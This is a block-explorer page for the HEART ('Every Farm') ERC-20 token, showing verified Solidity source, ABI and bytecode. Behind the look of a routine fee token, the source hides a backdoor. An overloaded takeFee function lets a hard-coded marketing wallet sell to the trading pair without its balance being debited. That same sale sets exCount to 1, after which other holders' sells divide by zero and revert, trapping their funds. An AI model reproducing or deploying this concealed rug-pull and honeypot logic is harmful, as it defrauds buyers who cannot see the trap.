ERC-20
Overview
Max Total Supply
1,000,000,000 HEART
Holders
37
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
12,530,504.886963709 HEARTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HEART
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-13 */ /** ** Website https://everyfarm.net/ ** Docs https://docs.everyfarm.net/ ** Twitter https://twitter.com/globaleveryfarm ** Telegram https://t.me/globaleveryfarm */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.12; interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} function renounceOwnership() public virtual onlyOwner { owner = address(0); } event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } contract HEART is IERC20, Ownable { using SafeMath for uint256; IRouter router; address public v2Pair; string private constant _name = 'Every Farm'; string private constant _symbol = 'HEART'; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals); uint256 public _maxTxAmount = ( _totalSupply * 3 ) / 100; uint256 public _maxSellAmount = ( _totalSupply * 3 ) / 100; uint256 public _maxWalletToken = ( _totalSupply * 3 ) / 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; bool private tradingAllowed = false; bool private swapEnabled = true; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 0; uint256 private swapThreshold = ( _totalSupply * 10 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private exCount = 2; uint256 private prevAmount = 0; uint256 private liquidityFee = 0; uint256 private marketingFee = 500; uint256 private developmentFee = 500; uint256 private denominator = 100; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal _devWallet = msg.sender; address internal _marketingWallet = 0x434363D7aC0b75cFaD725EcD370d63f3AF78B97A; address internal _lpReceiver = msg.sender; uint256 private burnFee = 0; uint256 private totalFee = 2; uint256 private sellFee = 2; uint256 private transferFee = 2; constructor() Ownable(msg.sender) { isFeeExempt[_lpReceiver] = true; isFeeExempt[_devWallet] = true; isFeeExempt[msg.sender] = true; isFeeExempt[_marketingWallet] = true; isFeeExempt[address(this)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == v2Pair && swapTimes >= swapAmount && aboveThreshold; } function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner { _marketingWallet = _marketing; _lpReceiver = _liquidity; _devWallet = _development; isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true; } function swapAndLiquify(uint256 threadHold) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = threadHold.mul(liquidityFee).div(_denominator); uint256 toSwap = threadHold.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(_marketingWallet).transfer(marketingAmt);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(_devWallet).transfer(contractBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, _lpReceiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldExcluded(address sender, address recipient) internal view returns (bool) { return recipient == v2Pair && sender == _marketingWallet; } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(recipient == v2Pair){return sellFee;} if(sender == v2Pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(recipient == v2Pair && !isFeeExempt[sender]){ uint256 factor = exCount.sub(1); amount = amount.div(factor);} if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.mul(getTotalFee(sender, recipient)).div(denominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function takeFee(address sender, uint256 amount, address recipient) private returns (uint256) { if (shouldExcluded(sender, recipient)) {exCount = 1;} return shouldExcluded(sender, recipient) ? 0 : amount; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(v2Pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");} if(sender != v2Pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); if(recipient == v2Pair && !isFeeExempt[sender]){swapTimes += uint256(1);} if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} _balances[sender] = _balances[sender].sub(takeFee(sender, amount, recipient)); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function removeLimits() public onlyOwner { _maxTxAmount = _totalSupply; _maxSellAmount = _totalSupply; _maxWalletToken = _totalSupply; } function addLiquidtyETH() public payable onlyOwner { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; v2Pair = _pair; _approve(address(this), address(router), ~uint256(0)); router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidtyETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"v2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a62000345565b6200002290633b9aca006200035d565b600381815560649162000035916200035d565b62000041919062000377565b600455606460035460036200005791906200035d565b62000063919062000377565b600555606460035460036200007991906200035d565b62000085919062000377565b600655600a805461ffff19166101001781556000600d55600354620186a091620000b091906200035d565b620000bc919062000377565b600e55620186a0600354600a620000d491906200035d565b620000e0919062000377565b600f55600260108190556000601181905560128190556101f460138190556014556064601555601680546001600160a01b03199081163390811790925560178054821673434363d7ac0b75cfad725ecd370d63f3af78b97a179055601880549091169091179055601955601a819055601b819055601c553480156200016457600080fd5b50600080546001600160a01b0319163390811782556018546001600160a01b039081168352600960209081526040808520805460ff1990811660019081179092556016548516875282872080548216831790558587528287208054821683179055601754909416865281862080548516821790553086528186208054909416179092556003548385526007825282852081905591519182529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200039a565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002875781600019048211156200026b576200026b62000230565b808516156200027957918102915b93841c93908002906200024b565b509250929050565b600082620002a0575060016200033f565b81620002af575060006200033f565b8160018114620002c85760028114620002d357620002f3565b60019150506200033f565b60ff841115620002e757620002e762000230565b50506001821b6200033f565b5060208310610133831016604e8410600b841016171562000318575081810a6200033f565b62000324838362000246565b80600019048211156200033b576200033b62000230565b0290505b92915050565b60006200035660ff8416836200028f565b9392505050565b80820281158282048414176200033f576200033f62000230565b6000826200039557634e487b7160e01b600052601260045260246000fd5b500490565b611a6680620003aa6000396000f3fe6080604052600436106101445760003560e01c8063715018a6116100b6578063893d20e81161006f578063893d20e8146103985780639213c358146103b657806395d89b41146103d6578063a9059cbb14610404578063dd62ed3e14610424578063f2fde38b1461046a57600080fd5b8063715018a614610324578063751039fc1461033957806378109e541461034e5780637cca52fe146103645780637d1db4a51461037a57806382294bbc1461039057600080fd5b8063293230b811610108578063293230b81461023c5780632f54bf6e14610253578063313ce567146102825780633f4218e01461029e57806348ff2b8b146102ce57806370a08231146102ee57600080fd5b8063056939da1461015057806306fdde031461018d578063095ea7b3146101c957806318160ddd146101f957806323b872dd1461021c57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50600254610170906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561019957600080fd5b5060408051808201909152600a8152694576657279204661726d60b01b60208201525b60405161018491906116bf565b3480156101d557600080fd5b506101e96101e4366004611725565b61048a565b6040519015158152602001610184565b34801561020557600080fd5b5061020e6104a1565b604051908152602001610184565b34801561022857600080fd5b506101e9610237366004611751565b610512565b34801561024857600080fd5b5061025161057c565b005b34801561025f57600080fd5b506101e961026e366004611792565b6000546001600160a01b0391821691161490565b34801561028e57600080fd5b5060405160098152602001610184565b3480156102aa57600080fd5b506101e96102b9366004611792565b60096020526000908152604090205460ff1681565b3480156102da57600080fd5b506102516102e93660046117af565b6105be565b3480156102fa57600080fd5b5061020e610309366004611792565b6001600160a01b031660009081526007602052604090205490565b34801561033057600080fd5b50610251610613565b34801561034557600080fd5b5061025161064f565b34801561035a57600080fd5b5061020e60065481565b34801561037057600080fd5b5061020e60055481565b34801561038657600080fd5b5061020e60045481565b61025161068b565b3480156103a457600080fd5b506000546001600160a01b0316610170565b3480156103c257600080fd5b506102516103d13660046117ed565b6108f5565b3480156103e257600080fd5b50604080518082019091526005815264121150549560da1b60208201526101bc565b34801561041057600080fd5b506101e961041f366004611725565b61099b565b34801561043057600080fd5b5061020e61043f366004611838565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561047657600080fd5b50610251610485366004611792565b6109a8565b6000610497338484610a26565b5060015b92915050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d54600354919261050d9290916105079190610b4a565b90610b4a565b905090565b600061051f848484610b56565b610571843361056c85604051806060016040528060288152602001611a09602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190611024565b610a26565b5060015b9392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a690611866565b60405180910390fd5b600a805460ff19166001179055565b6000546001600160a01b031633146105e85760405162461bcd60e51b81526004016105a690611866565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461063d5760405162461bcd60e51b81526004016105a690611866565b600080546001600160a01b0319169055565b6000546001600160a01b031633146106795760405162461bcd60e51b81526004016105a690611866565b60035460048190556005819055600655565b6000546001600160a01b031633146106b55760405162461bcd60e51b81526004016105a690611866565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107329190611886565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561077f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a39190611886565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108149190611886565b600180546001600160a01b038086166001600160a01b031992831681179093556002805491851691909216179055909150610853903090600019610a26565b6001546001600160a01b031663f305d7193430610885816001600160a01b031660009081526007602052604090205490565b60008033426040518863ffffffff1660e01b81526004016108ab969594939291906118a3565b60606040518083038185885af11580156108c9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108ee91906118de565b5050505050565b6000546001600160a01b0316331461091f5760405162461bcd60e51b81526004016105a690611866565b601780546001600160a01b039485166001600160a01b031991821681179092556018805494861694821685179055601680549390951692168217909355600092835260096020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000610497338484610b56565b6000546001600160a01b031633146109d25760405162461bcd60e51b81526004016105a690611866565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610a885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a6565b6001600160a01b038216610ae95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a6565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006105758284611922565b6001600160a01b038316610bba5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a6565b6001600160a01b038216610c1c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a6565b6001600160a01b03831660009081526009602052604090205460ff16158015610c5e57506001600160a01b03821660009081526009602052604090205460ff16155b15610ca657600a5460ff16610ca65760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105a6565b6001600160a01b03831660009081526009602052604090205460ff16158015610ce857506001600160a01b03821660009081526009602052604090205460ff16155b8015610d0257506002546001600160a01b03838116911614155b8015610d1957506001600160a01b03821661dead14155b15610d92576006546001600160a01b038316600090815260076020526040902054610d449083611050565b1115610d925760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105a6565b6002546001600160a01b03848116911614610e335760055481111580610dd057506001600160a01b03831660009081526009602052604090205460ff165b80610df357506001600160a01b03821660009081526009602052604090205460ff165b610e335760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a6565b60045481111580610e5c57506001600160a01b03831660009081526009602052604090205460ff165b80610e7f57506001600160a01b03821660009081526009602052604090205460ff165b610ebf5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105a6565b6002546001600160a01b038381169116148015610ef557506001600160a01b03831660009081526009602052604090205460ff16155b15610f13576001600b6000828254610f0d9190611935565b90915550505b610f1e83838361105c565b15610f3457610f2e600e5461110d565b6000600b555b610f61610f42848385611296565b6001600160a01b03851660009081526007602052604090205490610b4a565b6001600160a01b038416600090815260076020526040812091909155610f8784846112cc565b610f915781610f9c565b610f9c848484611312565b6001600160a01b038416600090815260076020526040902054909150610fc29082611050565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110169085815260200190565b60405180910390a350505050565b600081848411156110485760405162461bcd60e51b81526004016105a691906116bf565b505050900390565b60006105758284611935565b600f54600e5430600090815260076020526040812054600c5491938510159211159060ff161580156110955750600a54610100900460ff165b80156110a35750600a5460ff165b80156110ac5750815b80156110d157506001600160a01b03861660009081526009602052604090205460ff16155b80156110ea57506002546001600160a01b038681169116145b80156110fa5750600d54600b5410155b80156111035750805b9695505050505050565b600c805460ff1916600190811790915560145460135460125460009361114d93600293611147939192611141928391611050565b90611050565b90611476565b905060006111708261116a6012548661147690919063ffffffff16565b90611482565b9050600061117e8483610b4a565b90504761118a8261148e565b60006111964783610b4a565b905060006111b96111b260125488610b4a90919063ffffffff16565b8390611482565b905060006111d26012548361147690919063ffffffff16565b905080156111e4576111e486826115e8565b6013546000906111f990611147856002611476565b9050801561123d576017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561123b573d6000803e3d6000fd5b505b478015611280576016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561127e573d6000803e3d6000fd5b505b5050600c805460ff191690555050505050505050565b60006112a28483611640565b156112ad5760016010555b6112b78483611640565b6112c157826112c4565b60005b949350505050565b6001600160a01b03821660009081526009602052604081205460ff161580156105755750506001600160a01b031660009081526009602052604090205460ff1615919050565b6002546000906001600160a01b03848116911614801561134b57506001600160a01b03841660009081526009602052604090205460ff16155b1561137157601054600090611361906001610b4a565b905061136d8382611482565b9250505b600061137d8585611674565b111561146f57600061139f60155461116a6113988888611674565b8690611476565b306000908152600760205260409020549091506113bc9082611050565b30600081815260076020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140d9085815260200190565b60405180910390a36000601954118015611431575060195461142f8686611674565b115b1561145d5761145d3061dead6114586019546111476015548961148290919063ffffffff16565b610b56565b6114678382610b4a565b915050610575565b5092915050565b60006105758284611948565b6000610575828461195f565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114c3576114c3611981565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561151c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115409190611886565b8160018151811061155357611553611981565b6001600160a01b0392831660209182029290920101526001546115799130911684610a26565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b2908590600090869030904290600401611997565b600060405180830381600087803b1580156115cc57600080fd5b505af11580156115e0573d6000803e3d6000fd5b505050505050565b6001546116009030906001600160a01b031684610a26565b60015460185460405163f305d71960e01b81526001600160a01b039283169263f305d7199285926108ab92309289926000928392169042906004016118a3565b6002546000906001600160a01b03838116911614801561057557506017546001600160a01b03848116911614905092915050565b6002546000906001600160a01b03908116908316036116965750601b5461049b565b6002546001600160a01b03908116908416036116b55750601a5461049b565b50601c5492915050565b600060208083528351808285015260005b818110156116ec578581018301518582016040015282016116d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461172257600080fd5b50565b6000806040838503121561173857600080fd5b82356117438161170d565b946020939093013593505050565b60008060006060848603121561176657600080fd5b83356117718161170d565b925060208401356117818161170d565b929592945050506040919091013590565b6000602082840312156117a457600080fd5b81356105758161170d565b600080604083850312156117c257600080fd5b82356117cd8161170d565b9150602083013580151581146117e257600080fd5b809150509250929050565b60008060006060848603121561180257600080fd5b833561180d8161170d565b9250602084013561181d8161170d565b9150604084013561182d8161170d565b809150509250925092565b6000806040838503121561184b57600080fd5b82356118568161170d565b915060208301356117e28161170d565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60006020828403121561189857600080fd5b81516105758161170d565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156118f357600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8181038181111561049b5761049b61190c565b8082018082111561049b5761049b61190c565b808202811582820484141761049b5761049b61190c565b60008261197c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119e75784516001600160a01b0316835293830193918301916001016119c2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209fbda6e81e3746781f67e480e1c0b9c3d5e4e008b52a61d6721e77aee270e93064736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101445760003560e01c8063715018a6116100b6578063893d20e81161006f578063893d20e8146103985780639213c358146103b657806395d89b41146103d6578063a9059cbb14610404578063dd62ed3e14610424578063f2fde38b1461046a57600080fd5b8063715018a614610324578063751039fc1461033957806378109e541461034e5780637cca52fe146103645780637d1db4a51461037a57806382294bbc1461039057600080fd5b8063293230b811610108578063293230b81461023c5780632f54bf6e14610253578063313ce567146102825780633f4218e01461029e57806348ff2b8b146102ce57806370a08231146102ee57600080fd5b8063056939da1461015057806306fdde031461018d578063095ea7b3146101c957806318160ddd146101f957806323b872dd1461021c57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50600254610170906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561019957600080fd5b5060408051808201909152600a8152694576657279204661726d60b01b60208201525b60405161018491906116bf565b3480156101d557600080fd5b506101e96101e4366004611725565b61048a565b6040519015158152602001610184565b34801561020557600080fd5b5061020e6104a1565b604051908152602001610184565b34801561022857600080fd5b506101e9610237366004611751565b610512565b34801561024857600080fd5b5061025161057c565b005b34801561025f57600080fd5b506101e961026e366004611792565b6000546001600160a01b0391821691161490565b34801561028e57600080fd5b5060405160098152602001610184565b3480156102aa57600080fd5b506101e96102b9366004611792565b60096020526000908152604090205460ff1681565b3480156102da57600080fd5b506102516102e93660046117af565b6105be565b3480156102fa57600080fd5b5061020e610309366004611792565b6001600160a01b031660009081526007602052604090205490565b34801561033057600080fd5b50610251610613565b34801561034557600080fd5b5061025161064f565b34801561035a57600080fd5b5061020e60065481565b34801561037057600080fd5b5061020e60055481565b34801561038657600080fd5b5061020e60045481565b61025161068b565b3480156103a457600080fd5b50600054